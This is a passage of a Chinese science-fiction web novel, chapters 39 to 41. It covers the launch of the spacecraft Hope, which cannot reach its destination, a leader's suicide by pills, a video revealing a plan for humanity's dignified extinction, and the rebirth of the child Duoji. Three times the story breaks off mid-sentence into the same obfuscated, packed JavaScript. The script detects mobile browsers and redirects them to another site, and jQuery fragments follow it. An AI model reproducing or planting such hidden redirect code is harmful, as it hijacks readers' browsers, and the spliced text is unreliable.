齐观再次看向那照片,问道:“其实我一直想不明白,为什么我爸妈会生下我,还对我进行基因改造,难道只是为了让我在这个世界多过一些无聊的日子吗?又或者是让我去当个救世主吗?” 燕铭叹了口气,走去窗边拉开了半扇窗帘,屋里一下子亮堂了起来。 “不是的,小观。其实你的父母是想要带着你一起上岛,陪你度过平静幸福的一生的。只是安塔岛之外的研究所基本都被私人财团控制,我也是后来才查到,那家老板偷藏了他们的研究成果,却没通过安塔岛的测验,全家人都被禁止入岛,索性就炸掉了研究所。虽然你的现状和他们计划的不一样,但你父母的初衷是好的。” 齐观仔细端详着那照片,记忆中关于父母早已模糊的片段又再次鲜活起来。 “无论人类怎么进化,我们依旧是动物。繁衍是本能,是刻在我们基因里的东西。你别怪他们。” “可燕铭哥你有没有想过,如果你不在了,优优怎么办呢?” “未来吗?我只能尽我所能地替她打算。” 可未来的事情,谁又能说得准呢?齐观自认为自己不是一个乐观的人。 “多吉的事,我想还是……” “对了。”燕铭掏出了手机,打开了相册递给齐观,“这是多吉刚成型的胚胎,你看看。” 视频中圆圆的胚胎里已经有了十几个分裂细胞,而这些细胞还在继续着它们的分裂生长,缓慢又必然。 明明只是一枚小小的胚胎,却让齐观感受到了生命的力量。她盯着手机沉默了许久,那句“算了”最终还是没有说出口。 就让她自私一次吧,一切后果她来承担就好。 39. 第39章 残阳如火,赤色的云霞翻涌至天际,这曾是李竞阳在一天之中最喜欢的时刻。 “孩子,你有一颗柔软的心。保护好它,保护好自己,如果你愿意的话,也保护好别人。” 这是李竞阳生命结束前对齐观说的最后一句话。 此时,遇难者的悼念仪式正在半山腰上的中心广场举行,李竞阳的葬礼也选在了同一天。 应李竞阳的要求,谁死了都是一抔土,不需为她大费周章。广场的正前方只移植来了一方花坛,代表在此次事故中逝去的人。 然而自李竞阳故去,周文涛就变得不爱见人,总是躲去档案中心的小办公室办公,连致悼词的工作都推给了齐观。 独自面对成百上千的民众们,齐观念着那些激励人心的话语,心里十分没底。 潜艇残骸虽被带回岛上,但玛丽亚的自我意识却已经自动销毁,本就不多的纸质材料也因共同存放的腐蚀性液体无法辨认字迹,安德烈的研究成果荡然无存。 对齐观来说,那次的任务几乎没有任何成果,但对普通人则不然。人们想要的只是不用再过担惊受怕的日子了。 “无论何时,一定要给人们带去希望。” 这是李竞阳最后的嘱托。 广场正前方放了一个一米见方的大纸箱子,居民可以把自己的愿望写下,由希望号带上太空。 人们排成一排缓慢向前移动着,一张张彩色的纸条从纸箱顶部的圆洞无声飘落,齐观却从每个人的脸上看到对回音的期待。 悼念仪式一结束,齐观就去了档案中心,还没走近周文涛人,就闻到了浓重的酒气。 早就过了下班时间,周文涛独自醉倒在桌子上,齐观喊了半天他才从桌子上爬起来。 周文涛新长了不少白发,胡茬像杂草一样久未修理,他双手用力搓了搓疲惫松弛的皮肤,双眼无神地看向桌面。 “航天所已经最终确定了登上希望号的人选名单,六个月的封闭训练马上就要开始了,你准备用这样的精神面貌去应对接下来的工作吗?” 齐观的质问像是落在轻飘飘的棉花上,并没有在周文涛身上激起半点涟漪。 “我知道,我不会怠慢的。”周文涛颓丧地说。 “酒也不要再喝了,如果你是因为对我有愧才没有去输凝血因子,那完全没有必要。还不如多处理点工作,让我每天事情少点。” “嗯……好。” 齐观还有不少工作要处理,便转身向门口走去,却听到身后的周文涛说:“对不起,如果能回到我请你来档案中心工作的那天,你应该会拒绝的吧。” 齐观环视这间熟悉的档案室,“不会。我救的人还都活着,我做的事都有意义,没什么好后悔的。” 周文涛沉默了一会儿,才说:“你真的成长了,竞阳姐果然没有看错人。” “老周,你也是她选中的人。这座岛还需要你撑着,如果她真的对你那么重要,就别让她失望。” 周文涛没有回答,齐观也不忍多说什么,便径自离开了。 若不是周文涛甩给她的这些工作,齐观从不知道让这座小岛运行起来竟有这么多的细节要处理,她每天都要研究有限的人力物力该如何投放,才能让这座微型城市生产效益最大化。 如今岛上的人越来越少,又不用备战,齐观一连在研究所开了几天会,商量如何根据多余的电量投放一批智能机器人,减少人类户外作业时间。 刚出研究所,齐观就看见了在门口等着的谢心白。 “观观,陪人家出去转转嘛。”谢心白笑着说,眼神中却透着担忧。 “你家老钱呢?”齐观问。 “哎呀,你就陪我出去嘛!你看我带了什么?”谢心白不由分说地把齐观推进巡逻车里,一股烤鸡的香气顿时在齐观的鼻尖弥漫开。 谢心白也上了车,把安全带一扣,说:“坐稳了,让你见识见识什么叫喜马拉雅山车神。” 谢心白一路飙到北坡半山腰,把车往路边一停,一摸装着烤鸡的纸袋还热乎着。 两人下了车,离开了公路,手牵着手滑到未经修整的山坡上,无视沙土与石子席地而坐。 多云的傍晚,太阳埋在灰蓝色云海里,像一颗冒着红油的咸鸭蛋黄。 她们两个就这么一人一个鸡腿,望着一望无际的海。 齐观心头思绪万千,对多吉的思念、一刻不得喘歇的工作、还有对未来的迷茫都压在她心头,密密麻麻又层层叠叠。 “怎么不说话,在想什么?”谢心白问。 齐观:“这鸡有点柴了。” “哎呀!这鸡很贵的!”谢心白挥着鸡骨头说。 齐观笑了笑,没再说别的。她知道谢心白是在担心自己,才三天两头地拽她出门,但多吉未降生之前齐观并不想节外生枝,只能先继续瞒下去。 然而当人全副武装地直面人生时,意外反而会偃旗息鼓。 一连几个月,岛上不过下了几次暴雨,再就是因为太阳磁暴的影响,一批批各式各样的电器设备在排队等维修。 齐观每天看着燕铭给她发来的培养箱的照片,一天两天看不出差别,一个月两个月差别就大了。 她一边等待着多吉的再次降生,一边忙着工作,每天倒是过得十分有盼头。 海上的希望号顺利搭建完成,这艘能够容纳五百人行走坐卧的飞船,简直像一座微型岛一样趴伏在安塔岛身边。 发射日期越来越近,那个装着居民愿望的箱子也落满了灰。齐观独自坐在办公室中,取出里面所有的纸条,准备将它们压缩进真空的盒子,交给姚望宇带上希望号。 “希望每天都有肉吃。”一张纸条上写着。 齐观又拿起了几张。 “希望有更多的假期。” “想和喜欢的人白头偕老。” “公共网络上要是多有点游戏就好了。” 纸条上无一例外都是些简单朴实的愿望,被压缩进真空箱却显得满满当当,用手一掂有好几本厚字典摞在一起那么沉。 姚望宇敲了门进来,封闭训练让她变得壮了点,也白了点。 “好久不见。”姚望宇笑着说,依旧留着一头爽利得短发。 齐观也笑了,这几个月姚望宇时常给她发来训练的日常,其间还夹杂着不少问候。 “训练的日子过得怎么样?” “完美。”姚望宇坐到了齐观身旁,满眼兴奋地说:“希望号里就像一个微缩世界一样,里面所有的动植物包括人类组成了一个可循环的生态系统,一切都很智能。在安塔岛上生活得久了,我都快忘了人类曾经的科技水平了。” “真为你高兴。”齐观将愿望箱递给姚望宇,“希望这些愿望也可以像你的一样实现。” 从透明的外壳上,姚望宇依稀辨认出几行字迹。她耐心地翻转着箱子看了一会儿才说:“其实带着这些愿望升空并不能让它们真正实现,倒是留在这里的你也许真的能做到。” 齐观定定地看着那箱子,心中莫名升起一股冲动。 姚望宇也看出了齐观的犹豫:“要不就把这个愿望箱留下吧,你可以当居民的secretSanta。” “我可做不了圣诞老人,毕竟这里没有烟囱。”齐观被自己的冷笑话冷到,搓了搓自己的胳膊。 “但你实现了我的愿望,还要多亏你,我才能入选。”姚望宇笑得神秘,“按日子来算,多吉应该快回来了吧。” 齐观微微愣住:“你怎么知道?” “燕铭是不是抽了一点你的干细胞血给多吉创造营养环境? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162824|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实我身体里也有一点你的血液。在入选的人里只有我能和你的干细胞全合匹配,从而延长寿命。这样我就能在希望号里待到地老天荒了。” 姚望宇双手交叠在脑后,惬意地躺在沙发上,看向天空的眼神充满了无限的憧憬。 “那你岂不是真的有希望等到到达新家园的那天?” 姚望宇点点头:“嗯,说不定真的能呢。” 半个月后,希望号的发射典礼如期举行。居民都穿上自己了最鲜艳的衣服涌向军港码头,如同彩色的河流汇入海洋。 档案中心内,齐观一身正装皱着眉站在周文涛面前。 “医生说你的胃不是不能再喝酒了吗?” 周文涛毫无生气地呼出一口浊气:“你代我致辞吧。” “你为希望号忙了这么久,难道不想去见证吗?” 周文涛一仰脖子又灌下去半杯:“他们到不了的。” 齐观一愣:“你说什么?” “希望号是到不了新家园的。”周文涛的话如一记重锤砸在安静的房间里。 “最后一批离开的飞船是按照月球仅剩的氦3存量建造的。给我们剩下的能源就算是希望号这样的小型宇宙飞船,也只够飞三十年,也就是说没有任何一艘飞船能飞抵新家园。” 齐观震惊地看着周文涛,一时不敢相信。 周文涛苦笑着说:“很荒唐吧,岛上这么多人付出的努力,只不过是造了一个能让我们凝聚在这里的梦罢了。这里发生的一切故事,根本就不会抵达新家园。” “那飞船上的人呢,他们知道吗?”齐观的语气急切了起来。 “只有姚望宇知道,如果真的能行驶到能源用尽的那一天,她会告诉剩下的人真相。” 齐观无声凝视着周文涛,街道传来人流涌动的喧闹声。 “时间快到了,你替我去吧。”周文涛弯下身子沮丧地抱住头,“我面对不了,我真的面对不了。” 齐观无力地问:“你早就知道了,对吗?所以这几个月才状态这么差。” “是,竞阳姐在离去前告诉了我一切。” “可这是为什么呢?编造这样的谎言又有什么意义呢?” “你先去吧,好吗?”周文涛恳求着,”等时间到了我会向你解释的。” 齐观见时间不早,只好无奈离开。 周文涛目送着她的背影,用只有自己能听到的声音说:“齐观,对不起。” 晴空下的军港码头人头攒动,热闹非凡,人们都为能见证安塔岛建岛几十年来的头等大事而激动不已。 姚望宇站在军港码头的主席台上肃穆敬礼道:“首席飞行员姚望宇接受检阅!” 齐观将飞行员勋章佩戴在姚望宇的胸前,神情凝重地仿佛是在给她戴上一副镣铐。 姚望宇:“你知道了。” 齐观点点头,眼里闪着泪花,嘴角挤出一丝微笑说:“还来得及反悔吗?” 姚望宇却没有丝毫退意:“不要为我难过,其实我从入选的时候就知道了。当不了造梦人,就当守梦人。你放心,有我在,这个梦一定会持续地尽可能久。” 姚望宇向后退了一步,朗声承诺:“首席飞行员姚望宇定不辱使命!” 随后,姚望宇小跑着乘上飞艇驶向发射平台,浪花画出笔直的白线。 齐观站在主席台上机械地念着那份她替周文涛准备好的那份致辞,短短一篇稿子却像一个世纪那么长。 群众跟随广播高喊着倒计时,蓝色的火焰随即从飞船底部喷射而出。海水瞬间蒸发,蒸汽弥漫开来。 巨大的飞船伴随着震耳欲聋的轰鸣声缓缓飞离地面,又在空中加速成为一个小点消失在人们的视线。 整座码头的欢呼声热闹非凡,齐观的心却如堕冰窖。 40. 第40章 码头人群散尽,齐观立刻回到了档案中心想要问个明白,却看到周文涛趴在桌子上,像是睡熟了的样子。 齐观走上前拍了拍:“老周?” 手上传来微微僵硬的触感,一股诡异的颤栗顺着齐观的手臂一路爬到头皮。她立刻将周文涛推起,才发现他已经没了呼吸。 “怎么会……”齐观的视线扫过桌面,才看见周文涛的手边静静放着一个小药盒,里面已经空了。 身后传来“砰”的一声响,档案中心的双扇大玻璃门被猛地撞开。钱章微喘着进了房间,显然也是刚从码头赶回来。 钱章进了门直直奔向走向周文涛,摸了他的颈动脉后,怔然而立。 齐观连忙问:“是老周叫你来的吗?他有和你说过什么吗?” 钱章没有回答,只是从口袋里摸出手机,将信息栏打开递到了齐观面前。 信息栏的顶端是一条来自周文涛的短信,收信时间为二十分钟前。 “钱章,当你看到这条信息时,我已经不在人世了。请原谅我的懦弱,我已无法面对这个世界。转告齐观让她去新生署找燕铭,那里会有她想要的答案。无论她回来之后做出什么决定,请你支持她。另外,帮我照顾好肖薇。” 齐观一连看了三遍,才逐渐接受了周文涛已经离开人世的事实。 “你去吧,我知道的并不比你多。”钱章说。 齐观无奈,只得给燕铭打去了电话。 “喂,燕铭哥。你现在在新生署吗?” “嗯,我在。你直接来找我吧。” 齐观听见燕铭如此肯定的语气不由得疑问,“你也知道周文涛自杀的事吗?” “什么?他只给我发了消息让我带你来看多吉。”燕铭的语气充满了震惊,他顿了顿又说,“不过他确实给我留了东西让我转交给你,你现在来研究所吧,我到门口接你。" 齐观急匆匆地赶到研究所门口,燕铭已经在门口等着了。 两人进了电梯,燕铭通过身份验证后,地下11层的按钮便亮了起来,这也是他唯一能去到的一层。 电梯门缓缓开启,齐观目光所及之处几乎是一片黑暗,头顶应急灯微弱的光亮照进走廊两旁的大玻璃窗,实验室里连一个人影都没有。 齐观:“其他的研究员呢?新生署里没有护士帮忙接生吗?” “培养仓很智能,可以自行完成分娩。我的手机上也有实时的参数,不会有什么事的。” 齐观仔细辨认着那些黑暗房间里一排排圆茧一样的东西,那应该就是燕铭说的培养仓。 燕铭带着她熟门熟路地找到一间亮着灯的房间,拧了门进去。 房间里只有一个正在运行的培养仓,仓里的小婴儿被透明的人造羊水包裹着,蜷缩成小小的一团,睡得十分沉。 齐观快走了两步:“这难道就是?” “嗯,多吉已经发育完全,随时可以准备分娩。” 齐观的眼泪不自觉地就落下了,她回头满含期待地看向燕铭:“那是不是现在就可以?” 燕铭转头走向文件柜,取了一个方正的黑布袋子出来。拉链拉开,里面是一个稍显陈旧的录像机。 “这个录像机是周文涛让我给你的,等你看完它,你就能见到多吉了。” 齐观看着它莫名眼熟,好像第一次见老周的时候,他就提着这个录像机。她心里莫名有些紧张,那毕竟是能让周文涛付出生命去逃避的东西。 “你有看过吗?”齐观问。 “坦白来说,我试着打开过。但是里面的文件需要输入居民证件号和个人密码才能读取,也许周文涛只给了你的证件授权。”燕铭给了齐观一个轻松的微笑,“再坏又能怎样呢?至少多吉要回来了。” 齐观点点头,取出了录像机。燕铭带着她来到同层一间小小的会议室,将录像机接入投影仪。 齐观输入了证件号和只有自己知道的密码,授权通过的弹窗立刻跳入眼帘。 文件夹中只有一个视频,齐观点击播放键,视频在空中形成了投影。 内容先是一团黑,镜头前的周文涛走开后,齐观才看出这是一间病房。 病床上的李竞阳比她见过的任何时候都要憔悴,因为病痛的折磨微微皱眉。 齐观不禁有些讶异,这段视频竟已经存在了这么久。 “什么事啊?一定要录像。”周文涛绕过病床走到房间另一端的单人沙发上坐下。 “这次要交代的事情比较多,怕你记不住。”李竞阳身上虽痛,但还是挤出来一个笑容,“岛上一切还好吧。” “嗯,一切都恢复运转了。只是我昨天去查看了储能库,似乎和能源部报上来的氦3存量对不上,并不足以支撑希望号抵达新家园。如果制作液氢液氧作为补充,一是能耗过大,会挤占居民的生活用电,二是配重……” “照常执行发射即可。”李竞阳开口打断了周文涛的汇报。 “……什么?”周文涛一时没有反应过来。 “人们都知道喜马拉雅在梵语中是雪域的意思,那你知道为什么这里被起名为安塔岛吗?”李竞阳目光深沉地看向周文涛,“anta在梵语中不只有目的的意思,安塔岛也不只是所有寻求庇护之人的目的地。anta还有一个意思,那就是终结,地球人类的历史将要终结于此,不会再有人能到达新家园了。” 周文涛震惊到无以复加,他的嘴张了又张,终于质问出口:“你是说那么多研究员的付出都毫无意义吗?” “不,当然不是。希望号真正的作用一是筛选掉岛上不安于此的人,避免他们像安德烈一样做出过于偏激的事,二是用一小部分人的目标凝聚一座岛屿,消除人们的恐惧。而人们恐惧的不是无法到达新家园,而是没有稳定的生存资源。被集体抛弃的恐惧足以让迷茫的个体做出极其不理智的行为,任由这种绝望弥漫在人群之中是非常危险的,我们之中,总要有人有希望。” 周文涛不管不顾地嚷着:“这算什么希望?不行,我没有办法接受,我要告诉他们真相!” “文涛,你冷静一点。”李竞阳使出全身的力气叫住他。 “我怎么冷静?难道要我若无其事地出去继续面对那些日夜辛劳的研究员,指挥他们去造一个虚假的梦吗?我也曾是他们其中的一员,这种谎话我说不出口!” 李竞阳深深地叹了口气,周文涛的反应完全在她的意料之中,以他对太空的痴迷,能源缺口的事是绝不可能瞒到飞船起飞的。 “你最近有去见过肖薇吗?”李竞阳突然问。 周文涛一愣:“没有,现在说这个干什么?” “去见见吧,她是你和肖蔷的女儿。” 周文涛整个人仿佛石化般静止了十几秒,“怎……怎么可能?” “你和肖蔷都通过了新生署的基因收集测验,而新生儿的基因则是随机配对,也许冥冥之中自有天意。” 周文涛实在不敢相信这巧合,可之前他确实有发觉肖薇的五官长得越来越像肖蔷。原本只是以为是一起生活得久了,但仔细一想,肖薇的面部轮廓和下巴确实有些像自己。 他跌坐回沙发中,好半天才接受了这个事实,“可肖蔷怎么会知道呢?新生署不应该泄露这种信息给居民才对啊。” “是她自己看出来的,又拜托了相熟的医生做了基因对比。”李竞阳叹了口气,“文涛啊,我不想瞒你,但肖蔷心里一直是有你的。” 这句话落在周文涛的耳朵里不亚于知道肖薇是自己的亲女儿。 许久,周文涛抬头看向李竞阳,“其实我心里一直有个疑惑。如果肖蔷真的屈从了内心的欲望,你绝不会看着她一步步滑向深渊。你们是不是还有别的事情瞒着我?” 李竞阳点了点头:“肖蔷的胃癌不是中期,而是晚期。如果我们两个同时不在了,岛上这么多年积累的政绩很可能被反扑,所以从她查出来癌症的时候,就策划了一切。至于选你接任的事,如果你能查到她身上,就算你过关了。” “过关了?”周文涛自嘲地笑了一声,不自觉地红了眼眶。如果他真的称职,又怎么会在肖蔷生命最后的时刻,留给她的只有指责。 “文涛,你不必自责。身居高位,少不了来自各方的明枪暗箭,她这是提前帮你扫清了障碍。以后的路不会这么难了,你放心走就是了。” 周文涛愤懑又遗憾地攥紧了双拳:“所以这是你给我的希望吗?用肖薇留我继续在这个位置上撑着?” “文涛,你的内心不够强大。只有这样,才能让你坚定信念。因为这座岛的秘密不只这一个,你也不会是最后一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167180|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守护秘密的人。” 李竞阳平静开口:“我接下来要说的,你务必在卸任时转告齐观。安塔岛始建于2950年,彼时舰队总指挥给所有大洲的最高指挥者下达的命令都是相同的,那就是在海水彻底淹没陆地之前,带领剩下的人类充满希望地走向灭亡。” 周文涛脸上的震惊和视频前齐观的表情震惊如出一辙,谁都没有想到安塔岛的未来已经成为了史书上既定的一页。 李竞阳继续说道:“一个物种在灭绝之前会经历漫长的挣扎,以人类的顽强也许还能再坚持个三五百年,可那又有什么意义呢?你不觉得曾有过繁荣历史的地球人类若是最后有那样落魄艰辛的结局,实在是太过潦草了吗?” 周文涛立刻反应过来,他将要改变多少人的命运才能完成这个任务:“不……不,我拒绝继续执行。想以什么方式生存下去是每个人类的自己的选择,我没有权利决定他人的结局。” “不,你必须决定。否则你的懦弱会给接下来几百年的新生儿带来无尽的痛苦。” 周文涛一时哑口无言,却又像抓住最后一根稻草似地反驳道:“那希望号上的孩子呢?难道他们的痛苦就不算数了吗?” “希望号上没有孩子。”李竞阳冷静地说,“岛上也没有新生儿了,最后一批新生儿已经是七年前的事了。” 周文涛还想反驳,他明明记得燕铭和他说过飞船儿童限龄的标准,可仔细一想,燕铭确实没有说过那是希望号上的事。 他恍然大悟,颓坐在沙发上,“就算我答应你继续执行下去,能源部,新生署,还有学校,那么多相关的人怎么可能一个走漏风声的人都没有?” “你搞错了一个因果关系,是先确定了他们不会走漏风声,才会让他们成为保守秘密的人。新生署每年都会收到几百份申请,多的是家庭想要抚育自己的孩子。只需要从中选取相关职位的人通过,有了孩子之后,他们自然不会向外透露任何事。因为那是他们在这个世界上最重的牵挂,而泄密的代价就是就失去孩子的抚养权。” “所以……如果我拒绝执行任务,你会不让我再见到肖薇吗?” “文涛,我不在了,你就是这座岛的最高权力者,没有人能阻止你做什么。但你要明白,亚伦就是前车之鉴,正是因为他接受不了带领北美洲走向灭亡的任务,才会平白牺牲那么多人。你会选择让肖薇陷入危险的境地吗?” 周文涛无言以对,如果这是一盘棋局,那么他已经被将死在原地。李竞阳没有给他任何选择的机会,只能按照她设计好的路走。 “你让我把这些告诉齐观,是准备选她当我的继任者吗?” “不只是这样,我希望齐观会是地球上最后一个人类。从物种的角度来看,最后一个人类死去前必将见证人类集体漫长的凋亡,身边熟悉的人将一个个离她而去。而这个人必须坚守人类的尊严,即生存之上对自由的追求,绝不能屈从于对孤独的恐惧,放任人类继续繁衍下去。” “但你又怎么能确定齐观一定能接受你的安排呢?” “我不能确定,所以我给了她多吉,他将是她漫长人生中的希望。当然,她也许会有别的选择,但从她在怪物袭击事件中展示出的对人类命运的怜悯之心,我想大概率不会。” 周文涛心中的愧疚止不住的翻涌:“这太残忍了,我没办法告诉她。” “我知道这很残忍,所以如果你没有勇气把这一切告诉她,就把这段录像给她看吧。” 视频到此戛然而止,会议室只剩下齐观急促的呼吸声。她猛地站了起来,身后的椅子“咣当”一声倒地,眼前漆黑一片。 齐观的脑子里出现了千万种声音,它们相互争吵,尖叫,又渐渐偃旗息鼓,最终都汇聚成了一种:多吉不能降生到这样的世界,陪着她见证世界的衰败。 她失魂落魄地推开会议室的门,踉跄着向实验室走去,向那唯一的光亮之处走去。 就在齐观拉开门的那一刻,她的耳边乍起嘹亮的哭声。 “来了,你看。”燕铭把新生的多吉抱到齐观眼前,齐观不自觉地伸手接过那小小的襁褓。 襁褓虽轻,愧疚的重量却压得齐观喘不过气来,她跪倒在地,失声痛哭。 生命一旦诞生就无法撤回,从此刻开始,一切都已注定。 41. 第41章 【公元3026年,多吉1个月,齐观25岁。】 “这是弟弟吗?”薛洋洋扒在摇篮车边问。 “这是多吉。”齐观答。 “多吉?那这是姐姐的孩子吗?”薛洋洋又问。 齐观想了想,感觉很难向薛洋洋解释多吉如今和她的复杂关系,便说:“你就叫他多吉就好。” 薛洋洋似懂非懂地点点头,转头跑开和方优一起去客厅玩游戏了。 在这间宽敞的三室一厅里,小小的多吉在摇篮中酣睡,齐观则靠在床上看报告,处理白天没做完的工作。 燕铭和方静竹正在厨房里忙活晚饭,谢心白帮着看了一下午的孩子,累倒在隔壁卧室。 齐观已经渐渐习惯了这种温馨的家庭感。 “哇——”多吉的哭声如平地一声惊雷,惊起了谢心白一路小跑来到了齐观的房间。 “我来哄,我来哄。”谢心白抱起小多吉一下一下轻拍着,嘴里发出轻柔的“哦哦”声。 “你家老钱晚上来吃饭吗?”齐观问。 “不来。你不是让他挂个首长的名号镇场子吗?就这他都嫌事儿多,总把自己的活分派给下属,然后自己躲清闲。这不又找杰佛森喝酒去了吗?”谢心白说着就翻了一个白眼,“有时候我真觉得他俩才是真爱。” 齐观笑了笑,起身捏了捏小多吉的脸。 “怎么还哭啊,别是该换尿布了吧,我先抱走了啊。” 谢心白前脚刚走,燕铭便进来喊齐观准备吃饭。见齐观忙工作搞得一脸疲惫,燕铭面露愧疚地坐到了床边。 “别再道歉了。”齐观直接预判了燕铭的话。 燕铭哭丧着脸:“我当时真以为李首长问我的时候,是想让多吉接班,没想到最后坑了你。都是我不好,你骂我两句吧。” 齐观合了电脑翻身下床:“好了,你又不能预知未来,我怪你干什么。倒是你跟嫂子天天帮我带孩子,帮我省了不少事呢。” 她推着燕铭的肩膀,一起迈步去向餐厅。 一个月前,她将录像机里的内容告诉了身边几个值得信任的人,支撑一座岛的事她一个人做不来,终究是需要更多人的支持。 【公元3027年,多吉1岁,齐观26岁】 在过去的一年里,安塔岛与现存的两座大陆达成了协议。安塔岛每年都会向他们提供物资与医疗援助,条件是所有人口必须接受绝育手术。当大洲总人口低于100人时,可以集体迁到安塔岛养老。 至于漂泊在海上居所不定的人,则由齐观和燕铭拉着满载物资的击浪号满世界地找。 天刚蒙蒙亮,温度也不算热,正是适合出舱透气的好时候。飞船顶是前后左右毫无区别的海,再美的景色看久了也是无聊。 燕铭双手撑着出舱口边缘:“我一直担心,等那两个大洲上的人真到剩一百多的时候,人们会不会为了登上安塔岛自相残杀。” “有可能。”齐观抱着小多吉答,“但我们给到当地政府的物资也可能被克扣,就算发下去了也可能被哄抢。有资源的地方就有争夺。这也是刻在人类基因里的东西,我们把自己能做的都做了就好。” 小多吉在齐观怀里发出“咿咿呀呀”的声音。 燕铭戳了戳小多吉的小脸,逗得他咯咯笑,“原来满分性格的人从小就这么开朗。满一岁了,快该会说话了吧。” 齐观微笑着点点头,海风轻轻吹起小多吉额前柔软的头发。 【公元3031年,多吉5岁,齐观30岁】 刚上初中的薛洋洋出落得十分水灵,已经是个娇俏的女孩了,时不时还能收到几封情书。 “亲爱的洋洋。”薛洋洋嬉笑着在饭桌上高声朗读起来,“你那美丽的笑容萦绕在我的脑海,活泼的马尾辫扫过我的心田,可爱的……” 卡卡沉着脸,“啪”地一声夺去了那封情书,团成一团扔在了地上。 “吃饭。”他语气生硬地说。 “姐姐!你看他!”薛洋洋起身就要去捡那纸团,又被卡卡一把按回了坐位。 腿还没椅子腿高的小多吉跳下椅子,把纸团捡起来递给了薛洋洋,“洋洋,给。” 卡卡的脸瞬间更黑了:这小屁孩真的是当年救了他的那个可靠的哥哥吗? 齐观笑得温柔,问道:“卡卡,部队的生活还习惯吗?” “嗯,习惯的。里昂哥当了队长,很照顾我的。”卡卡闷头扒了两口饭,顿了顿又说:“而且里昂哥最近好像忙着追一个姓麦的护士,训练抓得也不严。” “那你呢?也十九了吧。有喜欢的女孩了吗?”齐观托着脸看向卡卡。 卡卡死死盯着碗里的饭,红着脸闷声答:“没有。” 吃过晚饭,齐观陪着小多吉玩了好一会儿,又答应给他念童话故事,才终于把他哄上了床。 “姐姐,为什么洋洋能去上学,我不能去啊,我也想去学校交朋友。”小多吉一脸期待地问。 齐观避开了小多吉的眼神,哄道:“岛上没有和你一样大的小朋友呀。” “为什么没有呀?”小多吉睁大了眼睛,睡意全无。 “因为你是从海上漂来的小朋友,原来在这座岛上是没有小朋友的哦。”齐观稍显刻意地讲出了自己准备了许久的谎言。 小多吉眼珠滴溜溜地转了几圈,想到自己确实有身处一片汪洋的记忆,便信以为真了。 “那我再也不能去上学了吗?” 小多吉说着说着就要哭出来了,齐观连忙说:“你要是想去也可以啊,但要是听不懂的话就乖乖睡觉,不可以打扰其他同学哦。” “好!”小多吉眼睛亮亮地扑进齐观怀里,一口答应。 【公元3035年,多吉9岁,齐观34岁】 十年一度的大迁居结束,人口管理局报上来的现存人口数还剩12万。 除了制药方向的实验室,研究所其他的实验室都拿来研究种菜养鱼了。居民想吃什么菜都可以到研究所领种子,回家自己种,这样省下来的面积还能多养点动物。 九岁的多吉正是调皮的时候,学校里的孩子又都比他大,没什么人陪他玩,每天跟着畜牧员牵牛喂鸡也是个去处。 这天,多吉又玩了一身泥回来。齐观一回到家就看到一串脏脚印直通卫生间。 齐观不禁笑了,原来多吉也不是从小就爱干净啊,也不知道他是怎么长成曾经的家务小能手的。 卫生间的水声停了,多吉□□地拉了淋浴间的门出来,和门口的齐观对了个正着。 “啊——”多吉一把拉上门,“姐你什么时候回来的!怎么不出声啊!” 齐观走进屋子,不以为意地说:“刚回来,晚上不是有建岛六十周年的篝火晚会吗?我回来换身衣服。” 多吉穿好了T恤短裤,扭扭捏捏地出了卫生间。 “怎么了?”齐观问。 多吉深吸一口气,一叉腰说:“姐,你不能这样。我已经是男子汉了,你不能再像小时候那样看我洗澡了。” 齐观只觉得又好气又好笑,她又不是故意的,再说了上辈子他还有哪儿是她没看过的,“快去把地擦了,看这屋里脏的。” 看着多吉乖乖跑去擦地,齐观心里不禁想到这孩子若是哪天长大了对别的女孩动心了呢?也许她确实应该和这个没有从前记忆的多吉保持家人应有的距离。 在去篝火晚会的路上,齐观破天荒地没有牵着多吉的手走。 多吉走了一段路发现不对劲就气哼哼地蹲在地上不走了。 “又怎么了?”齐观只觉得好笑。 多吉抬起头,小小的人撅起嘴认真质问道:“你怎么不牵我的手?” 齐观笑着反问:“你不是说你是男子汉了吗?那我就不能像以前一样牵你的手走了,牵着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167181|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走路是小朋友才会做的事。” “才不是呢!家人之间也可以牵手啊!”多吉“噌”地一下站起来,“卡卡哥牵洋洋手的时候明明就很高兴啊!” 齐观钝感不妙:“你什么时候看见他俩牵手的?” “经常啊,卡卡哥最近天天送洋洋放学回来,都会牵手的。” 齐观仰天长叹,果然这一天还是到了,上一辈子多吉亲手挑回来的猪终于还是拱了自己辛辛苦苦养的小白菜。 算了,薛洋洋这颗“小白菜”能健康成长,算起来也有卡卡这头“猪”不少功劳,拱了就拱了吧。齐观无奈牵起多吉的手继续往举办篝火晚会的海岸边走去。 